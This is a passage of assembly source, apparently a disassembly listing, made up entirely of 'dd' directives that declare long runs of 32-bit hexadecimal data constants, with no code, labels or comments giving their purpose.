		dd 0BF02DA5Eh, 67188DC5h, 74DFCAF2h, 0C2205882h, 0B24751C6h
		dd 170DBEE7h, 0BE237C42h, 13B2841Bh, 42E15E5h, 9B11A6FAh
		dd 0A2C82660h, 0FF87C0E9h, 0AF1FFABEh, 0B4A71876h, 5119E503h
		dd 62B50230h, 0B36E2DF6h, 804120DBh, 0B6C95850h, 44CCB11Bh
		dd 72B613B0h, 363D2DE2h, 468DFCA6h, 2972B9CAh, 0A133A3A8h
		dd 0CA76AD84h, 48D71F9h, 0A66ED4BAh, 705A47Bh, 8F1BFED9h
		dd 439C309Ah, 97728FE1h, 9097A915h, 0B3ED8724h,	0C7BF6F5Bh
		dd 30C0FAD0h, 830199A6h, 0A66C3DCCh, 0BD61FF1Fh, 30439215h
		dd 0E9DE041Ch, 15D4E6Fh, 48B1F765h, 2440216Dh, 0B1F87918h
		dd 11423C34h, 0C9B7D755h, 0C6809D88h, 673D9D31h, 746C2AB8h
		dd 0ECCE536Fh, 5565D978h, 7D362ACDh, 91AD896Ah,	7640C360h
		dd 38C8156Ah, 0E5AB080Bh, 0DE1535C8h, 48C534AEh, 3F74B65Bh
		dd 5BBD90A9h, 0A31C65D5h, 0E791310Ch, 6748297Ah, 0D6951105h
		dd 0FE1827F5h, 0ABBC81EFh, 395AFB11h, 0D2E0132Eh, 5B1FE1B5h
		dd 198AA545h, 0CB4AB216h, 3BF0EAF6h, 4FEB9B35h,	0F62D0F46h
		dd 0FE7AFD96h, 6631EF25h, 0D52D125Eh, 10A46E48h, 98395F7h
		dd 0FA521A09h, 43651A64h, 627643F7h, 1E139C6Eh,	0CBE04B1Eh
		dd 0C0265567h, 69B85D42h, 0F92D1DF2h, 4F61270Dh, 7FE4781Fh
		dd 68E87B4Dh, 482B2713h, 577968E1h, 0FCA669C5h,	0DA3146BCh
		dd 23620355h, 4F2B80D7h, 9925573Bh, 0DD040201h,	4A77AF16h
		dd 3DDBFDE7h, 0F5DF16F1h, 0ED0991BEh, 6EC8B4A9h, 0D13E79C7h
		dd 8C86BC35h, 130D00h, 77C0E736h, 3446C936h, 4DD85C35h
		dd 61B4C907h, 0B7270CC4h, 0BB4F5B6Fh, 42CEB442h, 0D13C691Eh
		dd 927CE28Ah, 909250F4h, 0BC760F6Fh, 2B385300h,	0CAACB276h
		dd 3122BA50h, 6312FD05h, 5294590Bh, 10875187h, 3B1983FEh
		dd 9D1D2BC4h, 8D95E3Fh,	0CF7517F6h, 0DC2488Dh, 416B9345h
		dd 0B0770758h, 0B809DF94h, 0DF115551h, 66932F4Fh, 6202E412h
		dd 70BAC591h, 19F5442Dh, 0A2A78707h, 0BCAFA146h, 37EA08h
		dd 99338947h, 7616B9AEh, 0A230BB8Bh, 1C6BEB47h,	73DB4538h
		dd 20AC1E74h, 0D6F63107h, 1CC358E4h, 4A3EBFE6h,	0F0DDEE39h
		dd 281C2EEBh, 0EB131D05h, 9BA8229Dh, 0BBEDA60h,	49B8E84Eh
		dd 0F41FABECh, 38C7C080h, 0ED22DA38h, 5034F2A6h, 0DF928140h
		dd 78C5081Fh, 0CF76EB8Fh, 58943CD4h, 0A6C8D215h, 87A408BBh
		dd 9DC61B7h, 0E822C44Eh, 0C16CA3DDh, 446974CEh,	0FEF43221h
		dd 0E0CF597Fh, 45602FA7h, 0F848E1FEh, 0CFDD25EBh, 0D6625C46h
		dd 321482E7h, 7CE89034h, 3E9B42AFh, 116905Bh, 25C76821h
		dd 0AFDA2D7Eh, 2D230F6Fh, 0DB1326FAh, 6EB02AD4h, 0DDA9216Dh
		dd 58395F90h, 5E3512F0h, 392C23D3h, 98EB8C54h, 123D74B9h
		dd 0F48C8846h, 35C6F55Eh, 0C24F758Dh, 0C8074826h, 0E9BBF5EDh
		dd 0E6C5B194h, 1FC4114Dh, 0A2B54EC8h, 1F16FE5Fh, 90E3596Ch
		dd 0A52FEFC8h, 920AD843h, 0D667ADEAh, 5CE45D9Dh, 80D9CF51h
		dd 0F85A6h, 35860B94h, 75F5D935h, 0B2304C7Ah, 7B4301C1h
		dd 26CE0F92h, 3CF9EB08h, 0A5FAFFA1h, 23E62F1Dh,	0BF696C68h
		dd 91801BBBh, 42E4B213h, 7841EF7h, 0F1659F3Eh, 0A4E96339h
		dd 0C1C1742h, 3B6E3E24h, 38C28886h, 0CFBFEE67h,	0C8FCC53Fh
		dd 4AA82701h, 6BE72888h, 0C8B5E79Eh, 0D5D44AD7h, 52CA6D54h
		dd 0D2F2F64Dh, 84B44E99h, 0CF5578B3h, 49A63F56h, 6326DC07h
		dd 675A33ECh, 0E0C98BCDh, 0C8268026h, 9F15B946h, 0F59AD477h
		dd 0BD76B0F8h, 452348CCh, 8F80878Eh, 6C0F0389h,	6A45AB7Ch
		dd 34B0324Bh, 0D6F8A20Bh, 349D312Ah, 0AF7AF73Ch, 0D262B840h
		dd 38F5A284h, 59456D68h, 481F1C45h, 44FC1DDDh, 293C4008h
		dd 4E49E167h, 8C079B6Eh, 51D81F82h, 823688BCh, 3AE394BBh
		dd 0BA3CAC68h, 0CE0FD4D0h, 662462Ah, 0E1910065h, 0CB35B1B3h
		dd 0F084988Dh, 0FE10D121h, 0C3F74E36h, 0B11A6412h, 67F009B6h
		dd 330D5577h, 8EA264CFh, 78FB1145h, 3BF5103Eh, 5B74BF90h
		dd 0F5CD7366h, 643CE166h, 8405A15Eh, 9A165667h,	67F12E02h
		dd 8C9D53B7h, 0DB5DCD33h, 93D213B8h, 539A37A0h,	90726749h
		dd 0FB783FDBh, 0F0DEBA34h, 0E46F58F9h, 0D0727945h, 93C58E01h
		dd 0F334C9C6h, 0C4630D7Ch, 637FAB5Fh, 65438127h, 0AFD98AD6h
		dd 3949FCC7h, 535D37CFh, 0DB6C875Dh, 67DD9094h,	248E77BFh
		dd 2A8C07Eh, 0A6F38C5Fh, 0D219EABDh, 28DAF338h,	9345CDEBh
		dd 7B32A3A0h, 0CF195086h, 0CC5EA7DAh, 0B55689D5h, 4237611Fh
		dd 3CAA235Bh, 0E34163CAh, 3FFDC956h, 2611FF0h, 61E7907Fh
		dd 6557E2B2h, 5C2AC50h,	0BE382A01h, 921D78C6h, 60534DEEh
		dd 0F30B2ADBh, 3BDEE16Fh, 94328660h, 0F563A85Eh, 6A9D6E2Fh
		dd 0E6185A08h, 0A2A73398h, 0D161F1Dh, 1CBB1345h, 57F54781h
		dd 0B0966E7Ah, 9D425CC6h, 0F8F201C8h, 0E12E2534h, 9D9CE482h
		dd 2E12696Fh, 0D10B4AFBh, 1F7968A2h, 0FB1C993Bh, 0A81BA54Ah
		dd 0AA712DCEh, 615D38F9h, 8B7ED021h, 912F9AC8h,	677E92F3h
		dd 0DA2851CDh, 0C21849D8h, 398293F4h, 0C01287EEh, 548F4D6h
		dd 8419ABEBh, 497B3B73h, 7718C545h, 22372F93h, 514E2B7Fh
		dd 0FC53AE3Bh, 0FD480795h, 96B14D6h, 4B950570h,	0E88CDE68h
		dd 0A297DD4Dh, 0B362E93Ah, 228EBD32h, 0BA90E0DEh, 56BFF559h
		dd 90CF8BFCh, 0F87C5D80h, 0E0031AB6h, 3F26ED5h,	5C0C3DEh
		dd 3FB7C88Ch, 7F4973D9h, 9AB8BFE4h, 3198B5F3h, 74C80D89h
		dd 197FE94Fh, 82515CC1h, 3E6C3312h, 0A9785E1Eh,	3F4BAF38h
		dd 0FA62EF0Ch, 0E775EB79h, 193D2074h, 87CA6F2Eh, 0D5F673AFh
		dd 2F2B2157h, 0D713520Ch, 135C5EFEh, 0C45F6443h, 91BCBB72h
		dd 837B3415h, 84B6E1FEh, 459187ABh, 0C78FCA49h,	200DC7E0h
		dd 0A2C7F864h, 0CA6D192Eh, 3101DF0Fh, 0CC8E3BFFh, 5537C5C7h
		dd 73D824A9h, 0B363C09Bh, 2E23869Ah, 2F1259BAh,	938EB849h
		dd 0BEFCA6DBh, 0CFABEFB6h, 655FF4E0h, 0F38C4C5h, 88F11645h
		dd 0EB194A0Bh, 98AC84C2h
		dd 6DBB3E43h, 2C2BF8DFh, 4E450800h, 9D68B153h, 0C227110Ah
		dd 98C3AB18h, 5B85F564h, 0CD940F9Eh, 9859C3E2h,	8C90698Ah
		dd 0ED5750E1h, 812FAB0Fh, 8EACF99Ah, 5BF1D940h,	0DF27CD9Ch
		dd 4FA98A06h, 0D6ECD7FFh, 8DF2C2B0h, 3277C2C2h,	0A2F4D858h
		dd 0AE2F6299h, 0F358251Eh, 247088EFh, 9823155Ch, 9DD69EA4h
		dd 0AFFB586Ch, 0BF4B9B94h, 802337D2h, 0ABF596ADh, 0C11CA71Bh
		dd 0B8E84A28h, 0A5E816E7h, 0D9867031h, 9D2D8C36h, 23877837h
		dd 0E0C66BF0h, 0E0763BEEh, 0AF3B5C09h, 97EA9561h, 0C6E82C35h
		dd 4391AF2Dh, 81EC3A75h, 6BDE3B39h, 0DEDC4B14h,	8213D924h
		dd 850A56Ch, 25DCE2E9h,	0A0C7F0Fh, 6A0EDCE3h, 1C063DC0h
		dd 9D320BCFh, 7AE3052Ch, 0A4BEFA65h, 0C34B8BF0h, 7D8A96AFh
		dd 0B7215091h, 4F7333BEh, 0F73C3281h, 523CCBDFh, 0B5F772A4h
		dd 0A919075Ah, 97E24D73h, 0FA1349A3h, 0D2879A89h, 0F5601369h
		dd 5926FECBh, 0DC6AB1BEh, 840FA4D9h, 0E3BC70F4h, 6408AC0Ah
		dd 0AA422573h, 2D650427h, 40FDD142h, 251F65A7h,	0D6FDC2ACh
		dd 54765D0Ah, 0E5470190h, 63039A20h, 95BA8FB1h,	0B3905C26h
		dd 0A03B6953h, 749CE9C0h, 1B509B67h, 9A90921Bh,	0E38429E3h
		dd 0E3134870h, 0C245A98Fh, 0F2150EB3h, 82BDC9D2h, 9E6C435h
		dd 896ECEF1h, 0C3D5DA6Eh, 0E7B4D8CFh, 6C822036h, 0F57043D6h
		dd 0AE01AD91h, 219F8919h, 5DCFC5BEh, 0E29B43D1h, 808FF4E2h
		dd 0DEF130C2h, 0F9739F2Dh, 0E0654721h, 0A878DDA8h, 0E6D03318h
		dd 0B976ED7Fh, 6438F6ABh, 5BEA6D2Eh, 0C306B39h,	0A023B2F5h
		dd 0B151B8D4h, 8212914Fh, 9D1CD95Ch, 0B87D7C83h, 2E358E57h
		dd 0CADB36CBh, 0EC410EB7h, 0A971EF32h, 0C0A5B69h, 1A9CDE90h
		dd 8258737Dh, 3A41CD1Eh, 0B1AB19Ch, 0F207FF7Eh,	28354A7Ch
		dd 7423B3CEh, 0A8B04F5Bh, 199B8A38h, 27B6CC97h,	3C8F508Ah
		dd 0E5D832E9h, 7037231Ah, 7D2CDB4h, 0BF33430h, 92BD9E2Dh
		dd 0DD32205h, 0A5ECE19Fh, 4DB56CACh, 0AA7947E9h, 0C7EA21Fh
		dd 0CFFF65F8h, 71866393h, 0D0933A73h, 1A24E197h, 286DA9F6h
		dd 1CC24483h, 0EBFF99DBh, 437B40E3h, 75528701h,	7EAA67AEh
		dd 6F9F45F2h, 0C2486599h, 415FB2AFh, 37DBF968h,	5A12FA8Fh
		dd 0F98C0D6Dh, 726AC3B4h, 0BAA0652Eh, 80446490h, 488E5DE0h
		dd 698470FCh, 0A2431E60h, 6565E7C3h, 79EE065Bh,	0C15F812Fh
		dd 472FEEDBh, 96C0C523h, 46AEE962h, 0E03EE9DFh,	1B52827Fh
		dd 4AE18965h, 9DFB3909h, 2F088F2Eh, 1FC9FD6Ah, 0B72E3858h
		dd 0FF55FFC3h, 0BC16F4A0h, 551ACC80h, 1EEF4F9h,	0D8D90DB8h
		dd 0E1486B34h, 887168E7h, 6BA0D8E2h, 0DC5B33A4h, 0C639FF09h
		dd 43BA32E6h, 0A19B59D8h, 64A3081Dh, 548DCAEBh,	0D7A79C36h
		dd 16226644h, 72192243h, 5F3E6183h, 0C9E1FFE0h,	4B8A775Bh
		dd 4FE9306Bh, 75299316h, 548BF63Dh, 0F5B21A5Fh,	5062E1h
		dd 96BDD5C8h, 5A60B799h, 0C1424281h, 51D194D0h,	828B9779h
		dd 62FAC9D4h, 0C2CC536Ah, 84D09430h, 5A6CAD23h,	0F6B788C9h
		dd 1B608865h, 0CACB93Ah, 0E9C00496h, 9D01768h, 31B57414h
		dd 0F8897E0h, 97C62633h, 115C3B4Fh, 72406E5Ch, 4CE295Bh
		dd 66B84831h, 2E9DBD2Bh, 90F1C175h, 8FFBE04Dh, 99151BECh
		dd 13C635FBh, 10DE0712h, 80FC5129h, 2305C554h, 0C1460F76h
		dd 0F51432A2h, 798BB98Ch, 5381E30Ah, 433AB81Dh,	0C679B0FCh
		dd 0E1609C6Dh, 0C7BAF290h, 4A6ED6A7h, 4C317C9Ch, 1E2C9240h
		dd 77D23FFAh, 502C5F54h, 0CA99FCD5h, 4D15919h, 0C671B875h
		dd 0FA801C22h, 6FC6A937h, 0EA77EB38h, 485CAC79h, 53573199h
		dd 0BE7DFB9Eh, 88E0A13Dh, 893297A0h, 0D6039ED1h, 0CCA6A285h
		dd 33956FEBh, 8AFD79ABh, 0A7EAC483h, 269D7DDDh,	0ED2F674Eh
		dd 7203C828h, 9AE7AFDEh, 0C5D10725h, 6E5161E5h,	0A81D096Ch
		dd 0FBF705E1h, 0F0AE152Dh, 99D8F2D2h, 86A4A54Eh, 7EF6BF53h
		dd 3AA0F6E5h, 8D934A6Eh, 0F988D194h, 625495A0h,	7F404958h
		dd 9D72D987h, 7DEBD610h, 35E79572h, 0BF6F060Bh,	1C0AE9ACh
		dd 69F758BFh, 807705BCh, 0ABD215C6h, 54031CF4h,	92916AD0h
		dd 70AC459Bh, 0EE560E45h, 4E7DD1E1h, 971B491Fh,	2A5C4FE2h
		dd 75C75EEEh, 152126C9h, 94B78935h, 0BB38229Dh,	3EDB00E3h
		dd 81EDF2ECh, 5D784498h, 5BA7D733h, 4167EC6Bh, 0BEC5B377h
		dd 91DC05D1h, 3AF2CCDFh, 0D8DAE7ACh, 37BBE554h,	1CD574D5h
		dd 0A103D3C2h, 78C4F30h, 24B7CDFEh, 0F9DFA1Ah, 0BD8B56E1h
		dd 9CAE9EE2h, 7522315h,	93FCB833h, 5C2516D1h, 90898335h
		dd 0D705D10Fh, 0F9239F81h, 6B4CC566h, 0E1EFA648h, 0BCD5AA93h
		dd 0CFE3D532h, 0F7244216h, 2A847F1Bh, 0C81244F4h, 13F982D5h
		dd 5B2B42A3h, 0DE259835h, 21EE25DAh, 0C7A3832Ah, 92B57D30h
		dd 0CA9CD7EDh, 82073ACEh, 47C2CAACh, 18D48AEh, 2528B779h
		dd 0CB98A156h, 6CF74D12h, 32C1E354h, 3FF9421Dh,	34822903h
		dd 742CFD93h, 4F1EB036h, 0A1CF47D7h, 6147B1ECh,	73C4A70Dh
		dd 65DFDA75h, 0D59C9590h, 8A15C2FAh, 0D720C848h, 3942B10Bh
		dd 0AAACD153h, 3DD408E5h, 0D5C903E5h, 7A4F9DCEh, 0FEE9D6C0h
		dd 0A6A5BA51h, 600FE0D3h, 0CD4098C5h, 5D437540h, 0C1CD9898h
		dd 76B26B75h, 38C0FD8Ch, 6027540Dh, 27394956h, 9B12743h
		dd 26A6BDD0h, 77147329h, 3F897288h, 2F6DD7E8h, 0AB61FCB2h
		dd 7B631850h, 11574EBEh, 0D3B699F4h, 0C20F8482h, 0B6301659h
		dd 894E70FFh, 0DD57A24Ch, 5A6E21F7h, 975BB20Ah,	5810D041h
		dd 0EC7A90A2h, 1A8D36E6h, 560FD5A4h, 0F881BF0Ch, 7B50453Fh
		dd 12E1571Dh, 24F82485h, 0B402248Fh, 0DA5CCCB3h, 0EBCA19A7h
		dd 66BC0DAEh, 4F9B77A4h, 59E309D7h, 1AD7BDD5h, 7A2AF23Ah
		dd 0F853ABB8h, 9A8EB530h, 26DCDA1Bh, 0C58A8BACh, 0E3B76EBh
		dd 6E630E37h, 0C8CB9E47h, 0E7AACDA3h, 6BA5B2B4h, 836807BFh
		dd 7DB48560h, 8EE9D630h, 0C8A9197Ah, 25BE8517h,	0EDE4F555h
		dd 0FD3068A1h, 64A88AB0h, 52EAEE3Bh, 7100F313h,	1483F80h
		dd 0BF73FC0Ah, 0BC1B93C6h, 0FE6D149Dh, 0F4BB09EFh, 2F4A6CC5h
		dd 0FC5303E5h, 72B8EEC5h, 67D427ECh, 0CFED6988h, 8FA7320Ch
		dd 0ABB24EA6h, 941A6326h, 90F860B9h, 0AF98A82Eh, 3197F5FAh
		dd 56BBEBD2h, 70AFE2E5h, 6DC9FE88h, 3C7161B4h, 49031357h
		dd 0D96E6076h, 101EF2BCh, 3DBB3BDBh, 0CB4CA0EEh, 537A7FAAh
		dd 0E17F7B17h, 0F366B487h, 0B9AEEE7Eh, 0AA37B2BCh, 0E3D4648Ah
		dd 9E9ED6ECh, 0C09B5567h, 855F7001h, 3E9D50B8h,	0CA17287Bh
		dd 2A4B9618h, 0A546F999h, 0A38EEFC9h, 0DAB97Dh,	0F6E1A70h
		dd 4828F1E5h, 2A9096C1h, 7206E269h, 4416E265h, 6EFE9DB3h
		dd 407B55F5h, 12FAEEFDh, 0C5F1E039h, 6184AA3Dh,	0A71EFD3h
		dd 0EFB579C9h, 201CD2D3h, 0AF82A827h, 9E1E46FEh, 92E4C8C3h
		dd 0E957BDEAh, 4E136891h, 267CF8F5h, 860333D5h,	276773B5h
		dd 31C5C4F4h, 91D3CD70h, 0C2C63D70h, 8424B342h,	0E8543E94h
		dd 55F9D131h, 0AC35F09Ch, 1548C941h, 0AA1F392Dh, 59B5BC07h
		dd 5D8476Ah, 47EDC623h,	8BCF37B5h, 0C2F34961h, 45DA1063h
		dd 3A21A198h, 2773DD9Fh, 0FC77823Bh, 0C2957927h, 0E9580E1Bh
		dd 0D9711CCFh, 0F9948C23h, 9C93AEDBh, 51411AC1h, 32CE8D8Ah
		dd 24B57D87h, 0F4531BA9h, 0B8E7958Dh, 0F09E4761h, 857E40D5h
		dd 7300AB43h, 0FB1780F7h, 0A23520BEh, 87163D01h, 0AF33D350h
		dd 63FBE7A6h, 0F277FE0h
		dd 5D803009h, 36FD3B33h, 2006F51Bh, 9ED194E2h, 5BD9D30h
		dd 563A05A8h, 0EE5197D0h, 70E96FE5h, 0C62CC4B0h, 0F973FD40h
		dd 603F04A8h, 74845A75h, 0C645FE4Bh, 617D8956h,	0F77FCBB3h
		dd 0A48DFFECh, 9A5E7B38h, 7D940E18h, 0D0BBA4B9h, 4C881E3Eh
		dd 5C947E0Dh, 0E70A2EF3h, 0C664A1FFh, 0C6A2756h, 7561915Bh
		dd 24EB0B14h, 8704FA2Ch, 4ABC0743h, 96D599DEh, 11BB5E9Ch
		dd 2CA066CEh, 0A0F1589Eh, 1EB0832Dh, 94FAB3B8h,	0D07F88F3h
		dd 582860DBh, 0DEABFE4h, 0A20FC2B1h, 0ECB4B023h, 10694115h
		dd 56551563h, 0A9B38D42h, 9F2E84FBh, 0BB8134Fh,	74EA9B35h
		dd 0E609364Bh, 1B90D9Fh, 6408FECCh, 0B1B8D8C2h,	9E6369CFh
		dd 0B285C6AAh, 0E8B10963h, 5F168AF6h, 7AD3CEA5h, 1644C5B1h
		dd 0B5645595h, 35103D86h, 5CD33C70h, 0D5065CB6h, 8EAC7A85h
		dd 0E596D8A6h, 0F989C348h, 0A22F22F9h, 0B1CBE613h, 0DB467A3Eh
		dd 354B5EDFh, 72740A47h, 4E8C0315h, 0E466D314h,	211AB114h
		dd 0B350E5B0h, 147FAFE7h, 0F32A92Dh, 108EC719h,	51C80D1Bh
		dd 383FB60Ah, 2376644Ch, 0CBEA5CBAh, 0F8AF2BEBh, 0E6661E6Ah
		dd 0FD46E4B6h, 0C63C2D53h, 0D5F713AAh, 0CF16BCEEh, 0BF591A38h
		dd 7B695706h, 1A151E45h, 0C8864008h, 1E7EE509h,	773751E0h
		dd 7E511DC0h, 7B8FE69Bh, 7004E56Fh, 679739CFh, 0FFD1A86h
		dd 9E7B1BA9h, 0EC7280Eh, 2CD9024Dh, 0D976461Eh,	0A912AE59h
		dd 8B9E7EB2h, 67C4EA1Bh, 5416542Ch, 8EFD5962h, 41EB29C9h
		dd 38B07C2Ah, 0A7B7E836h, 86C83B2Ch, 9F88CBB0h,	0A96FD755h
		dd 43B38121h, 0DCD51F5Fh, 0CFD7918Eh, 0D58B80C9h, 42D2CDB2h
		dd 0EBBB5043h, 40B8A443h, 0C1FA1628h, 0A3D6E226h, 448624A2h
		dd 996B3473h, 2FFB4086h, 0A332EDD9h, 0FD34A9B7h, 9178CE30h
		dd 5F757504h, 1C4717A1h, 0EECA3AE3h, 29B7A729h,	428DF8DDh
		dd 0ACA53350h, 51869D68h, 0C042D35Ah, 0EAA77966h, 12AB10A2h
		dd 1639A21Ah, 6893C365h, 719453A8h, 59DF834Dh, 0B91AD363h
		dd 8B486120h, 9B30D395h, 665B0161h, 1D34F8CDh, 60A85141h
		dd 0EA3CB028h, 0B1D93BB7h, 1170F2C1h, 0A4FBB970h, 0E964ADB5h
		dd 83BEE11Eh, 4184865Fh, 0BB34140Eh, 0E45F2FAh,	0BFED6BBEh
		dd 0D559AAD3h, 0F6580B46h, 0C318E963h, 0FFFD4D6Eh, 8E237188h
		dd 0A9E78CB0h, 0A17B39BAh, 0EC86C1E8h, 49A0003Ch, 0A82FE3F9h
		dd 0DD3A7085h, 20618A63h, 0A4537B23h, 54A6D51Dh, 5F53281Eh
		dd 1880E497h, 0A2AD2D51h, 0AB88920Dh, 0A084D538h, 3D4D7111h
		dd 70C1BF39h, 7C5B8642h, 0D15AE13Fh, 0CF38F105h, 0F508A567h
		dd 0B0DB3D75h, 375E2C7Ah, 0E38DE32Ch, 0F61EA135h, 26EE2D5Ah
		dd 0B66C7B28h, 0EE3A10B5h, 4B1216CAh, 0F4B9EA3Eh, 62D7A8A7h
		dd 6D6F7642h, 87570755h, 0C2D055AFh, 499D7F60h,	3B9EF415h
		dd 4F0AB738h, 0ED3BC7FFh, 7578BF4Fh, 0FB0E6F65h, 9B13735Ah
		dd 7CECBA30h, 39DFF772h, 0D441E41Fh, 0D693AD25h, 0AC695387h
		dd 0B455DF94h, 87F43D5Dh, 1F1A53Dh, 4BCFEABAh, 0ECFEFFA7h
		dd 8EEA9E67h, 0C1A2BB3Fh, 1202D8B1h, 8451E591h,	0D41E4BBDh
		dd 0AEF04A57h, 54E23EB3h, 904C7EEDh, 35B52911h,	6C92B42Bh
		dd 1E03DF8Ah, 70ECF7Eh,	13190AD9h, 0B90056A2h, 0BE443C8Eh
		dd 210F5D14h, 10882D30h, 0DFE04D2Fh, 440BEE2Ah,	0B8912365h
		dd 0ED26F553h, 2E1E1123h, 8F9D5D96h, 0FDE8FF98h, 3331D1A5h
		dd 0E24D227Dh, 76BB901Dh, 149B88D0h, 6F879FABh,	4779E5A9h
		dd 0CEF98ED2h, 93D9F799h, 0B225AD0Eh, 0E39955C4h, 0B9ACF68Ch
		dd 30FB6839h, 6B0606D9h, 918AD388h, 812895E6h, 0B4BA24D7h
		dd 7FD825DDh, 7564AF24h, 39451C95h, 70A81C37h, 0B23694D2h
		dd 0E8FB4AFCh, 47543DD8h, 0AA32464Eh, 0EE37427Bh, 971C0878h
		dd 873C7919h, 0D296158Ah, 7992C0D0h, 63A41AFh, 14832C1Fh
		dd 91B0BF0Ch, 87C62E8Ch, 16D5EA84h, 5F313A06h, 23222795h
		dd 0A1E1883Dh, 7E707F50h, 48EFFBC3h, 0E0A0F248h, 448BC964h
		dd 0F2C2F20h, 0EB32C3EFh, 539A576Ah, 0DF904645h, 52BDC8B3h
		dd 208FE130h, 2CCD4709h, 2DCD1835h, 0EE0056Dh, 97C2C390h
		dd 5B708BD3h, 9146C09Dh, 0D021E3EAh, 12A47058h,	0C5CA218Ah
		dd 0CC69AD73h, 0AEA72803h, 972C6BFAh, 54DC563Ah, 77C33B73h
		dd 6E584CA3h, 4632867Dh, 8AC260A0h, 614A0F98h, 6449D0AEh
		dd 0FC72119Dh, 80B34F97h, 88CE0077h, 7C0C959Ch,	1E76D318h
		dd 4F0BBCB0h, 0D859822Fh, 73CFF7C4h, 1FBA18E3h,	49EF15C2h
		dd 619F29DDh, 0EDBC0358h, 0B7DD3698h, 2D686567h, 0E4215A22h
		dd 284A5CBh, 0F4B8A58Ah, 5D3A1209h, 0CE88DFF4h,	9F107439h
		dd 785C4ACFh, 3C615734h, 7E728B72h, 0E753D0B0h,	0BC620952h
		dd 0A9BB1906h, 0E9BA46D4h, 8A582312h, 0B88591CDh, 0D095F030h
		dd 4D8558AEh, 0EF14883h, 0D39A5D4h, 0A9BE856Bh,	0EBD86F65h
		dd 0D000EEA2h, 0E8FD2482h, 53058700h, 0A9BBC9CFh, 417D49BEh
		dd 0F784CE26h, 4BF2DC33h, 3BD0AF7Fh, 0BC1F6C77h, 3D8D175h
		dd 0E960C3B6h, 0CCD1C0BBh, 0BC5AB24Ah, 5B5E1622h, 1100B5E6h
		dd 288FAD5Eh, 0F5B0832Bh, 0B4976522h, 602CD68Eh, 0A8776EB2h
		dd 0E86F925Ch, 89B7DDE1h, 0FA43139Ch, 5F8EB32Fh, 0FF300CDBh
		dd 0EC71D3FBh, 0F5917111h, 27019D9Eh, 81D46DEBh, 43254861h
		dd 75F2F40Fh, 0E3A75EB3h, 0A827AF44h, 74A29848h, 97401141h
		dd 5034267Ch, 81C6AE23h, 163333F1h, 0F67A317h, 9B6F78D9h
		dd 1DCA4E7Fh, 0E70DC3D1h, 0B3B4C56Bh, 497D24DDh, 21E96B49h
		dd 959243DBh, 0D595451h, 0CC8A4C59h, 12CA8E9Fh,	0B1383604h
		dd 0B3BE06FEh, 80E7EA8Bh, 0F882A436h, 0BFEE4C7Eh, 0B49DADC6h
		dd 92E24788h, 33E9D837h, 52B1246Dh, 0F2ABF611h,	8567CE0h
		dd 0C5ED39Ch, 7728F9B0h, 0CDAB2877h, 0E435CC38h, 77F70ACEh
		dd 0D3903CF4h, 9887A6E6h, 7F3783EDh, 0C1D9B46h,	0EF73AE29h
		dd 0F792F16Ch, 89CEEC73h, 0BBA89466h, 70700CCAh, 0C16937F9h
		dd 0C650E6D9h, 0E1893A4Dh, 0E0AE6FD8h, 0C538167Ah, 0A56E4642h
		dd 0B8B034DEh, 29A04D07h, 0B143ABAFh, 4D8D08F7h, 32C37E76h
		dd 0CF1394ECh, 6C1D4693h, 5C0FC49Fh, 0D27AD63Ah, 0CF3ECB89h
		dd 404059Ch, 0FD884AC5h, 96150545h, 7636B438h, 0E0932C6Dh
		dd 42777BD1h, 58C34B87h, 3E3EEC4Eh, 0A39B012Fh,	9ADB6E0Dh
		dd 5267FF6Dh, 7F87B345h, 0B6E10EFFh, 126CB2F9h,	2B76A58Dh
		dd 47AA9D0Dh, 5B0EA29Bh, 0A2FC17DEh, 0F7E8C32Ah, 0A2743AB1h
		dd 35D6DE91h, 72E97294h, 0C3C6787Bh, 2B1CD5F8h,	7C2D1AECh
		dd 0F23D126Bh, 5B3B10F5h, 0EB26C8D7h, 0C616F0D5h, 450BEE88h
		dd 0E5561333h, 7EE4FB7Eh, 0CADD337h, 0E937B58Ch, 42A15CF4h
		dd 19F056F9h, 3EE71ED3h, 5B23F9A5h, 0D713E1CEh,	0FB4F5264h
		dd 0B77A3D3Fh, 0FD608AA3h, 4997C38Ch, 0BA546CA9h, 24ED8148h
		dd 9C24A327h, 1B5CFC21h, 2A315E84h, 0B5763526h,	0D22302EBh
		dd 3659E80h, 0C3FA71h, 7F0B1740h, 0BCB409FCh, 0C632D5BAh
		dd 1067A925h, 0CAE6D183h, 4E4F7352h, 8EC64BDCh,	0C08AF9F0h
		dd 0C0D7D7D3h, 8A2078A5h, 2B0CE6BAh, 0B0DA6AEEh, 81BA468Eh
		dd 0FBF01F0Bh, 0A7E0A3E4h, 1AFB6A05h, 7496F0BDh, 0D189DA31h
		dd 787F15B5h, 6554F602h, 0DF9D2355h, 743F39FAh,	0E52D3EE8h
		dd 2C95E859h, 0F162C596h, 90425247h, 0B770106Ah, 882C0171h
		dd 0B6B7F088h, 9B24C965h, 0FCA9293h, 534B641Dh,	90ECBB1Eh
		dd 0E068FAC4h, 0B1D48A59h
		dd 9D93F5D5h, 0D21F6267h, 2FBF00C4h, 0F7DC8478h, 0E08679BFh
		dd 0DB5653Ch, 8DCC9A62h, 8A5907AAh, 0D4325670h,	785C981Bh
		dd 679CDA34h, 9DD9F0F3h, 0B4F1CDC0h, 14211F26h,	2A9238D4h
		dd 1D43960Bh, 0D0464941h, 1654355h, 5A330988h, 9FB971C8h
		dd 742830D0h, 0ECC73A7Dh, 0BE272CD8h, 6FB7D90h,	4CB00EECh
		dd 0E3479AA7h, 0B28F1420h, 2FAA1C4Ch, 9C6E45FFh, 19BC1203h
		dd 70E82926h, 7C5F9236h, 2126DE45h, 5823C412h, 99C3390Dh
		dd 0F66C1B45h, 266290D5h, 324E3C4Ah, 0CFFD282Eh, 42FD3014h
		dd 4BB9AE7Bh, 55B3964Ah, 7BF637A0h, 58986524h, 0AE10EDF9h
		dd 38CFE0BEh, 598D2D15h, 40E9B46Ah, 105CA839h, 4F1FCA83h
		dd 6D3EA7E1h, 0A1A85403h, 0A3513E0Bh, 435C8A7Ah, 6A8E834Ah
		dd 0A51C77BCh, 128CA883h, 95D8CF27h, 80CA240Bh,	0D006A2FEh
		dd 9889974Fh, 44DB29FEh, 6CE46033h, 2F68484Ch, 860CC760h
		dd 180D0352h, 0C496D8B3h, 5D9E4063h, 1F4E8C17h,	3CE2C201h
		dd 0F774CE82h, 9811026Bh, 0A18C1E9Ah, 14538066h, 0E1EE50A5h
		dd 0DCDAB34Fh, 39EADB07h, 0E4996720h, 0B96A38ADh, 332932E0h
		dd 65560957h, 45BC7DEFh, 0A7EA7604h, 14CA1FCEh,	3E7C4BE5h
